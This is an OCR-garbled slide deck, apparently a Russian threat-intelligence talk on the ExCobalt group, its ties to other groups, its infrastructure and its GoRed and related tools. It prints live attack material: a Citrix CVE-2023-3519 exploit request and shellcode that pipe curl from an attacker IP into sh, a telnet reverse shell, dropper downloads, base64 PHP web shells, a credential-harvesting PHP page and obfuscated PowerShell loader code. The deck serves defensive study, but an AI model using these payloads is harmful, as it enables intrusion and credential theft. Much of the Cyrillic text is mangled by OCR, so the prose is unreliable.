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Cobalt SEF

2024

[pynna Cobalt (aka Carbanak) otcnexmBaeTtcda ¢
2016 r,;

Llenn aTak: KpegunTHO-PUHAHCOBbIE
opraHun3aumu,

NHcTpyMeHTbl: Cobalt Strike, Coblnt, ComDll
dropper n JS backdoor;

[NocneoHMM NyonmuHbiM otyeT B 2020 T

TLP: WHITE

COBALT

Logical attacks
on ATMs

—

O:

COBALT

evolution and joint operations

AN EVOLVING MULTINATIONAL

COBALT STRIKES BACK:
THREAT TO FINANCE




(Ex)Cobalt 3EFe

ExCobalt — aTo KnbepnpecTynHas
rpynna, cocpengoToyeHHaa Ha
KNOEepLUMMOHaXe N HEKOTOPbIE YMeHbl
KOTOPOW aKTUBHbI MO KpamHeM Mepe C
2016 roga n, NpegnonoXXuMTenbHo,
COCTOANM B HEDE3bI3BECTHOM rpynne
Cobalt.

OTnnYmnTEeNbHbie OCOOEHHOCTU

 Wpeonormyeckasd MOTUBUPOBAHHOCTb

* KVcnonb3oBaHue PwSshell.Carbanak + Coblnt, Kak
CBA3YOLLNKM pakTop ¢ Cobalt

* Vicnonb3oBaHMe MHOXeCTBO pa3nnyHbIX BI1O,
BK/tOYada nponpueTapHoe (Hanpumep GokRed)

* MHOXeCTBEHHOE NnepecedyeHne C XakTMBUCTaMU

* PasnunuHble BeEKTOPbLI aTak, BKAto4Yasa Supply Chain m
Trusted Relationship

« Ob6wnpHaga MHPpaCTpyKTypa
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NepeceueHsa ExCobalt
C ApvVrmMmm rpvrnnamm



NepecevueHVA 3555
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(Ex)Cobalt n Sneaking Leprechaun (Ex)Cobalt n Shedding Zmiy

OauH ynpaengaowmn cepsep (*rpm-bin.link); Coked 6axkaop

*  WcnonbsosaHne DWORD OxCAFEBABE B MHoxecTBeHHoe nepecedeHme
FaceFish; MHPPACTPYKTYPbI

»  FaceFish n Kitsune Ha O4HOM XOCTe; Cobint 63kaop

« T[lepeceyeHna No Koay. 8gm—l|/]ae+«m)i2$pz;r;embl

N T \’
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NMepeceuvueHs Mexxay rpvnnamm

Shadow
Comet
DARKSTAR

Carberp o

N

Carbanak/\ Cobalt
unak ExCobalt

an >
“l..\ Twelve
Twelfth

Hyena

Buhtrap

Apect
ocTanbHbIX
YYaCTHUKOB

Carberp ApecT yneHoB

Carberp Carbanak/ Orpabnenus [1o7BneHe rpynnupoBKM OTtuetsi PT,
Anunak/ t_)aHKOB ApeCT nuaepa Cobalt SOLAR FACCT Morlock - FACCT
2012  FIN7 2013 Carbanak 2016  Carbanak/Cobalt 2021 BIZONE Shedding Zmiy — SOLAR

2013  nmpopaka 2015 lMpekpaweHve 2018 2019 2020 2022 2023 2024
. MCNONb30BaHNA Cobalt KoHey Shadow/Comet/
UCX. Koaa A M ATE
Apect Carbef Carbanak Pa3paboTka aKTuBHOW 7miy  DARKSTAR
nuaepa P Zmiy

Carberp n ero yTeuka HOBbIX  hasbl Twelve
MHCTPYMEHTOB Cobalt



https://rt-solar.ru/solar-4rays/blog/4559/

CBs3caHHbIE rpyrnbi {ERe

2024
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NHPpaCTpyKTypa
NHCTPYMEHTDI

HeT npaMbiX
NOATBEPXXOEHHbIX
OaHHbIX O CBA3U C
ExCobalt

Ukrainian Cyber Alliance



MHDPpACTPVYKTVYPA

ExCobalt

stoloto.ai

onexboxlive.com




MHDPpACTPVYKTVYPA VFF

ONE

2024

NO,

IPv4 Address
m maltego.IPv4Address

64.226.104 111
—Relationships

—Incoming

Shedding Zmiy ExCobalt

Twelve

Domain
maltego.Domain

rpm-bin_link

—Relationships

—Incoming

Sneaking Leprechaun Shedding Zmiy
ExCobalt

—Outgoing

rhl.rpm-bin.link leo.rpm-bin.link
source.rpm-bin.link git.rpm-bin.link
ci.rpm-bin.link unicorn.rpm-bin.link
get.rpm-bin.link hummingbird.rpm-bin.link
sula.rpm-bin.link narwhal.rpm-bin.link
amd64.rpm-bin.link i386.rpm-bin.link
lib.rpm-bin.link chifa.rpm-bin.link

n
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MHDPpACTPVYKTVYPA

Domain
maltego.Domain
ukr-net. website

Whois Lookup

—Relationships
—Incoming

JomMeH C2 IP-appec UHdopmauma us whois-zanucu

fsbkal.com 172.67.205.75 |Registrant country: Ukraine

4glige] eXelelng 23.132.185.120 |Registrant country: Ukraine

avptp.com 185.117.73169 |Registrant country: Ukraine

deadork.com [176.105.252.116 [Registrant country: Ukraine

Sj:kaShvm'Com185.104.45,61 organization: Hosting Ukraine LLC

registrar: ua.ukraine

ukr-net.website Registrant country: Ukraine

12
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PULLIVMHIOBbI@ LLeNnoYvYKuM AaTAdK

BexTop 1
CVE-2023-38831

BpeOooHoOCHOe BpeOHOCHEM
MMCBMO apXUB

»

BexTop 2
comepxuT lnk-dann

XepTBa 3anyckaeT odanin-
OpMMaHKy, CTapTyHa
ClenynmyMi STan

VsEnedexnue u AexoOupoEaHne Pacmudpodanne LekoaupoBaHue
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DLL

NSIS
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C2-cepBep
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EXs EIIP=
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Barpyska
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AES-KmoYa
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PowerShell PowerShell PowerShell
oemdpaTop OeKomep Carbanak

Dannbl-KNOYM HE OOCTYMHbI
3aBeplweHme "wTatHon" paboTbl BIMNO
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PwShell.Carbanak

LetsIntell.ps] kavupdate.psl

00 000
Iunctlon JsFuPA function gAOmCXx
return "7D7"+"B5"+"E526FB" {"'},
} function VMIOBh
function DdpEeFKJ {...}
{...} function IYuOdWRTD
function LXzChLj {...}
{...} function tHrBpH
{
function NhSkqElL Param ($GOVMT,$ohn)
{ $BnUZIW=JPXST
Param ($Gk8ewY,$E5M) $F016=uQCLk $BnUZIW $GOVMT
2BK§?=ZEggék9XQIk ([IntPtr]::z $6k8ewY . Length, 0 0, 0x40) $mtGcO=[System.Runtime.InteropServices.Marshal]::Copy($GOVmT, 0, $F016, $GOVMT.Length)
w5 1= .invoke([IntPtr]::Zero, ewY.Length,0 0, 0x40 SMXLd=YNVttGGbaR
2¥Tiz;;gx¥mA $GkBewY $Dw51 $Lof9=$MxId. invoke( [IntPtr]::Zero,0,[Int64]$F016+$0ohn, [IntPtr]::Zero,0,[IntPtr]::Zero]
$0GA00=LOgArghhKd $H1L $DwW51 $ESM $RZK3F=E1ImOBZ )
$FM5aM=1hpfoWI $ViX=$RZK3f.invoke($Lof9, 0x
$Au6ri9=$FM5aM. invoke($0GA00, Oxffffffff) | Out-Null ¥ . .
} function MSioRl

500 Toool
function NyVmA

{

Param ($1Mp,$qg3aY)

[System.Runtime.InteropServices.Marshal]::Copy($lMp, 0, $g3aY, $lMp.Length)

}

function TnWhvXSxv

{

If ([IntPtr]::size -eq 8)
{

$HcN=ncazrE

$WZe3uF=1287

}

else

{

$HcN=DzcOlupEK

$WZe3uF=1107

}

$VFb6x=rUVRaQVvdw( "5594B5815B888674587A678D997C7D89" )
$hdQED=[System.Convert]: :$Vfb6x((rUvRaQvdw $HcN))
NhSkqELL $hdQED $WZe3uF

}

15



Cobint backdoor OFF-
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"+ Ha4danbHbIN 3arpy34mnk;
« OCHOBHOWM MOAOYIb;
« JlononHuWTenbHble MOOYU:
1. OTnpaBKa CKPUHLLOTOB Ha
ynpaBngaoLmnm cepBep;
2. OTnpaBKa MHPOPMaALMKM O

npoLeccax Ha yrnpaBnsoLmi
cepBep

|;-|_'_-|.1 EI

Cobint. P:aeM U3BECTHbII 63KA0p
M NpaKTUKyeMcCSH B peBepce

jortxf, 4wepenuuasany ¢© KommeHtapum © 7969

N2
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Supply Chain n Trusted 2 ONE
Relationship

Client Infrastructure

Y-

Software provider

QQ m[m[m

Injected payload

-

Trusted Trusted Trusted
- channel channel channel
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https://pentest-tools.com/blog/supply-chain-attacks
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Citrix: McxooHbI BeKTop (CVE-2023-3519m

2024

cve-2023-3519.py

def make_request(host, payload):
ctx=ssl.create_default_context()
ctx.check_hostname=False
ctx.verify_mode=ssl.CERT_NONE
s=socket.create_connection(host)
ssock=ctx.wrap_socket(s)
data=url_encode(payload)
req =b"GET /gwtest/formssso?event=start&target="+data+b" HTTP/1.0\r\n"
reg+= "Host: {}:{}\r\n\r\n".format(host[0], host[1]).encode()
ssock.sendall(req)

unallocated space
Input + O3 § =

/gwtest/formssso?event=start&target=5548%8d%3d%5b%00%00%00%31A%310°

%05%310%66%%01%06%66 2y %01%01%05%50%5T%6a%04%58%48%8d%3 5%1d%00%00%00%3102%20%01%05°
%0T%A8%8d%3d%A9%00%00%00%316%66%%6d%0d%0T%05%68%8d+C%OOA%3 c%3T%3d%60%63%75%72%6Cc%20%35%31%2e%31%35%2e
%31%38%2e%38%35%3a%38%30%37%30%21%62%7 c%73%68%60%3b%21%76%61%7 2%2%6€%65%74%73%63%61%6 C%65%7 2%2 %6 C%6

2%00%00%00%00E%4bY Y

mec 471 = 1 Tr Raw Bytes ¢ LF
Output 5 | r|:| M o2

| soHe=[ 12 enol FsonnckF P_jioXHe5 1 He=I 1fm hewi<?="curl

j51.15.18.85:8070/b|sh‘;/var/netscaler/logon/a.php /bin/sh w d

mkshellcode.py

bits 64

lea rdi, [rel pathl]
xor edx, edx

push 5

pop rax

xor esi, esi

mov si, 0x0601

mov dx, 1ff
syscall

push rax

pop rdi

push 4

pop rax

lea rsi, [rel cmd]
xor edx, edx

mov dl, pathl-cmd
syscall

mov al, 15

lea rdi, [rel path2]
xor esi, esti

mov si,

syscall

[REDACTED]

cmd:

db "<?="curl {}|sh™;"

pathl:

db "/var/netscaler/logon/a.php",
path2:

db "/bin/sh",

) (W]
«© o
ey =
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https://github.com/BishopFox/CVE-2023-3519/blob/main/cve-2023-3519.py
https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-3519/exploit.py
https://bishopfox.com/blog/analysis-exploitation-cve-2023-3519
https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467

Citrix: Kpoxxoa

KOHOUTIYPALMOHHbIX AAOHHbIX

a.txt

set ns config -IPAddress [REDACTED] -netmask 255.255.255.0

enable ns feature LB CS CR CMP SSL GSLB HDOSP SSLVPN AAA REWRITE RESPONDER AppFlow FEO

enable ns mode FR L3 Edge USNIP PMTUD ULFD

set system parameter -maxClient 40 -minpasswordlen 8 -strongpassword enablelocal -doppler DISABLED

set system user nsroot
2f6c5818ec16c611c01c32cf2eb653946959162bc7 [REDACTED ] fcOdfffe73443585d46210e0292991d5blale20ba56eb4c028al
2d94de34e41ffc62c8693a316a63 -encrypted -hashmethod SHA512 -externalAuth DISABLED -timeout 900

add system group UKM-Netscaler-Admin-RUL -Timeout

unallocated space
Input + 028 =

3625364325363125373325363825324625364525373325363325364625364525363625363925363725324625364525373325
3245253633253646253645253636253230253345253230253246253736253631253732253246253645253635253734253733
2536332536312536432536352537322532462536432536462536372536462536452532462536312532452537342537382537
3425303025303025303025303025303025303025303025303025303025303025303025303025303025303025303025303025
3030253030253030253030253030253030253030253030253030253030253030253030253030253030253030253030253546
E8253038253030253030253030253732253030253030253030253030253030253030253030253545253438C7COF0253343D9
253031253438253831EC253030253032253030253030FFD0253438253331C0253438253831C4A82531352530302530302536
38EB253336253739253030C320485454502F312E310d

mec 1344 = 1 Tr Raw Bytes ¢ LF
Output % | I_|:| [y
-1 KEY§- 0s KEY§ E ay}@u ynoOPA &

gd9@-0»+2h\ «LHIP o GET /gwtest/formssso?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - OU ex

cat /flash/nsconfig/ns.conf > /var/netscaler/logon/a.txt
@ r AHCAG<U:0iH -1 YDH1AH-A™ hé6y A HTTP/1.1

4

[

NO,
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Citrix: Persistence via RC script
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rc.netscaler

cp /nsconfig/gettytab /etc
/bin/sh /etc/ntpd_ctl full_start

nsapimgr -ys skip_systemaccess_policyeval=0
nsapimgr_wr.sh -ys skip_systemaccess_policyeval=0

echo PD9waHAgQGV2YWwoYmFzZTYOX2R1Y29kZSgkX1BPU1RbIOpvaG5Db2ZmZXkyMDIzISddKSk7Pz4= | /usr/bin/openssl
base64 -d -out /netscaler/ns_gui/vpn/images/vpn_ns_gui.php

echo PD9waHAgQGV2YWwoYmFzZTYOX2R1Y29kZSgkX1BPU1RbIOpvaG5Db2ZmZXkyMDIzISddKSk7Pz4= | /usr/bin/openssl
base64 -d -out /netscaler/ns_gui/admin_ui/rdx/core/css/images/css.php

chmod 6555 /bin/sh
chmod 6555 /bin/sh

vpNn_Nns_gui.php

000

<?php @eval(base64_decode($_POST['JohnCoffey2023!']));?> '
X
q)
‘ [

https://eclypsium.com/blog/pwned-balancers-commandeering-f5-and-citrix-for-persistent-access-c2/
https://docs.netscaler.com/en-us/citrix-adc/current-release/getting-started-with-citrix-adc/configure-system-settings/configure-clock-sync.html

ONE
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https://docs.netscaler.com/en-us/citrix-adc/current-release/getting-started-with-citrix-adc/configure-system-settings/configure-clock-sync.html
https://docs.netscaler.com/en-us/citrix-adc/current-release/getting-started-with-citrix-adc/configure-system-settings/configure-clock-sync.html

Citrix: Credentiadls Stedler

netscaler.php

<?php

$date = date("d/m/y : H:1 :");
$username= $_POST['u'];
$password= $_POST['p'];

if ($username !="undefined"){

$username = urldecode($username);

$password = urldecode($password);
file_put_contents("netscaler.1","Username:".$username.PHP_EOL
file_put_contents("netscaler.1","Password:".$password.PHP_EOL
file_put_contents('netscaler.1l', "Date:".$date.$data.PHP_EOL,

file_put_contents("netscaler.1","-—-———————————————- ".PHP_EOL ,

}

?>

FF
ONE

NO,

2024
netscaler.]
000
Username: [REDACTED ]
Password:Rbh*x*x%x
Date:18/10/23 : 06:16 :
Username: [REDACTED ]
Password:Gjcxxxxkx > 150 y3

Date:18/10/23 : 06:18 :
SFILE APPEND ) 5 oo e

,FILE_APPEND); .
FILE_APPEND); Username: [REDACTED]
Password:Zolxx*x*xx*

FILE_APPEND); Date:18/10/23 : 06:25 :

https://www.huntress.com/blog/netscaler-exploitation-to-social-engineering-mapping-convergence-of-adversary-tradecraft-across-victims

22


https://www.huntress.com/blog/netscaler-exploitation-to-social-engineering-mapping-convergence-of-adversary-tradecraft-across-victims

A N
Citrix: Command and Control SEF
telnet (reverse shell)

sh -c '(sleep 4325|telnet 51.15.18.85 4102 |while : ;
do sh && break;

done 2>&1|telnet 51.15.18.85 4102 >/dev/null 2>&1 &)'

revsocks

curl -0 https://github.com/kost/revsocks/releases/download/v2.2/revsocks_freebsd_amd64
mv revsocks_freebsd_amd64 nsnetsvcs

/netscaler/nsnetsvcs -connect|51.15.18.85:8844 -pass 123

Python reverse shell

00 R
"
Sep 25 13:53:22 [REDACTED] sh_command="python3 rev4204.py " > o
Sep 25 13:53:43 [REDACTED] sh_command="netstat -an | grep 51.15.18.85 "
\ud

23



FaceFish Rootkit
FaceFish Dropper

Sep 25 13:47:15 [REDACTED] sh_command="curl -0 http://eu-debian.com/ssh3600 ; chmod +x ssh3600 ;
./ssh3600 ; rm -f ssh3600 "
Sep 25 13:47:38 [REDACTED] sh_command="curl -0 http://eu-debian.com/ssh3600 ; chmod +x ssh3600 "

B *’:‘%\}
¢ B Cre
~~ Remote Host A ~ Remote Host B

o~

Login

—

Upload

credentials 2:run arbitrarily cmd |

.

SSH Process

' \ . oreaeria |
| Facefish_Dropper Release————> \:> credentials
1 | ~~~~Set Config Inject via LD_PRELOAD

SSHD Process

2021 -
2021 -

NO,

FF
ONE

2024

user_key allowed2;
sshpam_auth_passwd;
auth_shadow_pwexpired;
getpwnamallow;
login_write ;
read_passphrase;
ssh_userauth?2;

key perm_ok;
load_identity_file;

key load_private_type

24


https://blog.netlab.360.com/ssh_stealer_facefish_en/
https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor

FaceFish Dropper: UPX overlay

D:\samples\>upx.exe -d D:\samples\ssh3600
Ultimate Packer for eXecutables
Copyright (C) -
UPX 4.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser

File size Ratio Format Name

upx: D:\samples\ssh3600: NotPackedException: not packed by UPX
Unpacked 0 files.
D:\samples\>upx.exe -d D:\samples\ssh3600_fix

Ultimate Packer for eXecutables
Copyright (C) -

UPX 4.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser
File size Ratio Format Name
<- .20% 1inux/amd64 ssh3600_fix

Unpacked 1 file.

Aug 8th

Aug 8th

FF
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NO,

UPX CurHaTtypa

Overlay (KOHPUTrypaumMoHHbIE AaHHbIE):
* Anroputm Blowfish;
e Ctatnyeckum karod "buil".

FaceFish KoHpurypaumsa

Qdldeeg 4 5 6 7 8 9 A B C D E F 01234
0000h: 'BE BA FE CA 86 95 AD 63 CC 2C 88 83 10 OE 00 00 o {[co® socoooc
0010h: 20 00 0O 00U 00 OO0 OO0 OO0 OO OO OO0 00 /00 00 00 00 | ..uiiuieuienonnnnn
0020h: 68 74 74 70 3A 2F 2F 65 75 2D 64 65 62 69 61 6E http://eu-debian
0030h: 2E 63 6F 6D 2F 69 6E 64 65 78 2E 70 68 70 00 00 .com/index.php..
0040h: 00 00 00 00 00 00 OO0 00 OO0 OO0 00 00|00 00 00 00 | ...veuienennnnnnn
0050h: 00 00 00 00 OO OO0 OO OO0 OO OO OO0 00 00 00 00 00 | ..cuicuienennnnnnn
0060h: 00 00 00 00 00 OO0 OO 00 OO OO0 00 00|00 00 00 00 | ...veuieunmnmnnnnn
0070h: 00 00 00 00 OO OO0 OO OO0 OO OO OO0 00 /00 00 00 00 | ..cuicuienenannnnn
0080h: 50 73 9C 1D A4 37 5B 44 39 3D 94 2388 55 FF OE Ps...7[D9=.#.0..
L T e e e e e e e e e e e T e T T T T | g

25
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Kitsune Rootkit 20NE

2024

KoMaHgbl | HazBaHue dyHKLMIM OOHapy>KeHHOro cemMnna | HasBaHume pyHKLMM U3 oT4eTa Bizone

1000h Is_gatherSystemInformation gatherSystemIinformation

1002h append__hhide getLogs

1003h shell_result_append exec

1004h ret0_0 update

1005hn retO reverseShell

1006h Is_update_config updateConfig

bson_append_binary(bson, -agent_id, -klene, -8LL, -binary, -binlen) C KITSUN C KITSUN
bson_append_ints4(bson, -"cnt", -3, - *&cfg.some_ctr); [/ dmmmm e i i 2 L IR :
bson_append_int32(bson, -uptime, -agent_id, - (time(OLL) --cfg.time_@));-// - <---------- - KITSUN C KITSUNE=1
bson_append_int32(bson, -cmd_id, -klenl, -kval_id); C CLEANU ; G CLEANUP LOGS
bson_append_int32 : — . -~

n_append_int32(bson, -cmd_type, -klen2, -kval_type); 00000013 C Glory o C Welcome, Racoon!\n
—_— 002220328 C -p1 da 2022002 C ThreeRaccoons

® t id ) 02202220CA C bin/bash 0222290A C ‘bin/bash

bson_append_binary(bson, -agent_id, -v6, -OLL, -v7, -V8); 3 2 2 AL 2
o OL(DSON, - "LOB™ 5 3) 3 < v v e v v aeensannes ] Cmmmmmmmee 00000011 C /etc/logs__hhide 00000911 C t n-og 5__hh ide
bson_append_int32(bson, -cmd_id, -klen1, -kval_id); C /fetc/config__hhide 00000913 C onfig hhide
bson_append_int32(bson, -cmd_type, -klen2, -kval_type); AGARAAGN r PO P e APARAACN - e g PR

27


https://bi.zone/expertise/blog/klyuch-ot-vsekh-dverey-kak-rutkit-kitsune-okhotitsya-za-vashimi-dannymi/
https://bi.zone/expertise/blog/klyuch-ot-vsekh-dverey-kak-rutkit-kitsune-okhotitsya-za-vashimi-dannymi/

o [ ] Q
Bitrix 2 ONE

putin_***.php

|<7php error_reporting(@);$c=base64 decode($ COOKIE["cOdda77d3a8d1b35ea637c3ebc63c783"]);$d=(string)NULL;for($i=0
‘ ;$i<strien($c);$i++)$d.=chr(ord($c[$1i])"42);eval($d);

June 30, 2022

bitrix.zip

Kaebiuka
Forwarded from ¥ [/lgoiiHas kaBbiuka

html|_editor_action.php

3.6 KB
RCE skcnnoiat Ha Bitrix <= 20.100.0
agent.php vote_agent.php, Bitrix <= .
21.400.100
vote_agent.php
editor.php html_editor_action.php, Bitrix 5.4 KB
<=20.100.0 RCE skcnnoiT Ha Bitrix <= 21.400.100
>
& 86 @ 233K BoOoM, 13:37
.@ ’y 22 comments > »
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HanpgeHHble MHCTPYMEeHTDbI

NO,
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daun OonuncaHume

build YoansaeT ¢ann locker 1 gponaeT 6GUHapHbIM Gann c 3TUM
MMeHeM, Nepeq apornaHbeM ULET B Apone CTPOUKY
"RANS99", nHaue nuweT "Broken build (1)"

build[drop] -> "nokep" (WndbposanblUMK)/Barnep. MoxeT 6biTb 3amyLleH

locker 6e3 build. KomaHgbi: lock, wipe, now, kill, quick

web/config.php

KOHOUr 6a3bl

web/index.php

aOMUMHKA" yrpaB/ieHMa NoKepamMm

web/locker.sql

davn c komaHgamMu sgl gna cospaduma B c Tabnuuen
device

web/ping.php

"Poll URL", TyOa OTCTYKMBaETCH TOKep

Got ya!

Russian warsip,

Yout key is

2024
tool OnucaHue | ApryMeHT
curl ype3aHHbIM curl "owvH:"
socksd MpoKcu (socks4/5 ¢ "u:ai45vntr!

noaaep>Kkom
user+pass)
shell bind shell "blckr"
host Pe30/IBUT XOCTHENM -
yepes 8.8.8.8
hash md5/shal/sha256 "t
gz inflate/deflate -
netcat - -

PAS



MoandoumpoBaHHDbIe TV13bl A Fe
: ps n htop

) & (p->ppid == 2 || p->tid == 2) )

free_acquired(p);

t NULL Moandmnkayma Kkoga OblNa
return NULL;

npomnsBeneHa B GyHKLIMM
simple_readproc.

1
J
return p;
1
J
errno = ENOMEM;

next_proc:

return NULL;
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OcHoBHOU cbYHKLUIMOHON GOoRed

red.team
go-red

config
embedded
static

bb
common
collect
commands
files
network
update
proxy
revshel
gecko
service

birdwatch

gecko
model
util
codec
client

backend
model
client

collector

util

packer

proxy

revshell
util
client

dns

icmptunnel

NO,

FF

ONE

2024
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XpoHonorna Bepcum GoRed

\VONON

~NOHb 2023

vO.0.

PASHOISWAOPX

9 v0.0.23-10-*

25.01.2024

v0.1.3-62-*

08.03.2024

v0.2.49

22.05.2024

gFF
ONE

2024

v0.2.55

30.05.2024

0.0.9

22.08.2023

®© © 0

v0.0.15

23.10.2023

26.02.2024

v0.1.3-4-* | vO.1.4

15.03.2024

o0

v0.2.50 | v0.2.60

23.05.2024 08.06.2024
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Paznnumna Bepcvim GoRed

v0.0.1-v0.0.9

GoRed npencTtaBnan 13 cobs ToNbKO MHCTPYMEHT cbopa MHPOopMaLUM 0 epTBe, M 6bifT HAKPbIT
obdyckaTopoM garble.

v0.0.13 - vO.2.55

GoRed Havan obpeTaTb pyHKLMOHanN c2 framework’a 1 akTUBHO ero paclunpaTb. Tak HanpuMep 13
OCHOBHOrO 6bI1 [o6aBMNeH NOToK yrpaBneHua Yepes cli, nogkntoveHmne B pexkmnme reverse shell’a, n
ybpaHo ncronb3oBaHMe obdyckaTopa garble.

v0.2.60 - n

GoRed cHoBa HakpbIT 06dyckaTopoM garble, O6beaMHUAN N PaCLLNPUIN 2 KOHDUIE, a TaKKe
3alWMdpoBanuM ero c NoMoLLbto aes-256-gcm.

NO

FF

ONE

2024
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BCcTpOeHHbI KoOHdbuUr

CTpyKTypa BCTPOEHHOM

// pna sepcum vO.0.1
|struct embedded_Config

-~

bool Debug;
uuid_UUID ClientID;
string ClientKey;
string Version;

l-l}“'l’_ pauun

_ptr_url_URL BackendAddress;

CTpyKTypa BCTPOEHHOM

/ 0.0.9 — v0.0.13

ist ruct embedded_Config

{

bool Debug;
string Token;

uuid_UUID ClientID;

string ClientKey;
string Version;

_slice_string Tags;

string Secret;

KOHQUTI

string BasicAuthLogin;
string BasicAuthPass;

_ptr_url_URL BackendAddress:
_ptr_url_URL ProxyAddress;

7]

ypauumu

// CT p KTypa BCTPOGHHOM

8.23-10—gU528e+3

Jt“L\t embedded_Config

{

string Logging;
string Token;
uuid_UUID UserID;

uuid_UUID ClientID;

string ClientKey;
string Version;

_slice_string Tags;
_slice_string Args;

string Secret;

KOHPUIrypauuu

ve.1.4

_ptr_url_URL BackendAddress;
_ptr_url_URL ProxyAddress;

z'

|-

CTpyKTypa BCTPOGHHOW KOHBUrypauuww

wB p ) &0
VO . £ .00

struct embedded_Config {

string Kind;

string Logging;

string Token;

uuld_UulD userlID;
uuid_UUID ClientID;

string ClientKey;

strina Version:
_slice_string Tags;
_Slice_string Args;

string Secret;

uuid_UUID TargetID;
_ptr_url_URL BackendAddress,
_ptr_url_URL ProxyAddress;
string ServerIP;

string Domain;

static_TransportConfig Transport;

sstruct static_TransportConfig {

static_Transport Revsh;
static_Transport RPC;
static_Transport Proxy;
string reserve_domain;
string reserve_ip;

NO,

FF

ONE
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NMNoToK ynpaBJieHUsA

(=]
R e

= ] - )

C2 exfiltration

QONE

2024

1 - Ha4vano
BbIMOTHEHWSA

2 - 3aKpenneHmne B
cucTemMe

3 - MHMnumanmnsaumg
X AIVERYEERE

4 - YCTaHOBKa
nepBOHaYasIbHOIo
coegnHeHund

5 - PexxmnmM nonydeHmsa
N MCMNONHEHWS
KOMaHA

6 - ObweHVe B
peXxXxmMe Magka
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NaHenb vyrnpaBJrieHnA nocre
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Coovpaemaa nHcbopmMmaLumna
[ e [ comepwamwe |

Q
\
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2024

MnoJsib3oBaTes1d, MMEHW Ipyriribl.

processes.json CnMCOK MpOoLLeccosB.
envvars.json CNMCOK NepeMeHHbIX OKPYXKeHUS.
host json MHbopMaLMs o npoLeccope, onepaTtnBHOM NaMaTK, ycTaHoBieHHon OC, UMeHU

network_interfaces.json

CnMCOK ceTeBbIX MHTepdenCcoB.

netstats.json CnMCOK aKTUBHbIX CETEBbIX COEANHEHMMN.
" dannbl, KOTOpble 6yayT cobpaHbl B 3aBMCUMOCTM OT 3HAYEHMA Nnonen
Ixt . .
B cTpyKType model_CollectionConfig.
hardware.json MHbopMaumsa o xenese.
treesjson CTpyKTypa $annoBon CUCTEMDI.

Commands KomaHpaoa bb_files_*.
Files Dawnnbl.
TreePaths [yTwn.




BbiBOObI

[pynna npoOo/mKaeT NoKa3bliBaTb
BbICOKUWN YPOBEHb aKTUBHOCTU
Bonblwown ypoBeHb MHBECTULIMN B
MHCTPYMEHTbI

[ToCTOAHHOE paclunpeHmne
dyHKUMOHana GoRed
CoTpygHMYeCTBO C APYrnMMin
rpynnamu/ITogMHOMXeCTBO

rPYyNnMPOBOK BHYTPWM OOHOIO KnacTepa
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HadLum oTueThbl

ExCobalt 2023

ExCobalt 2024
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KaHan ESCalator
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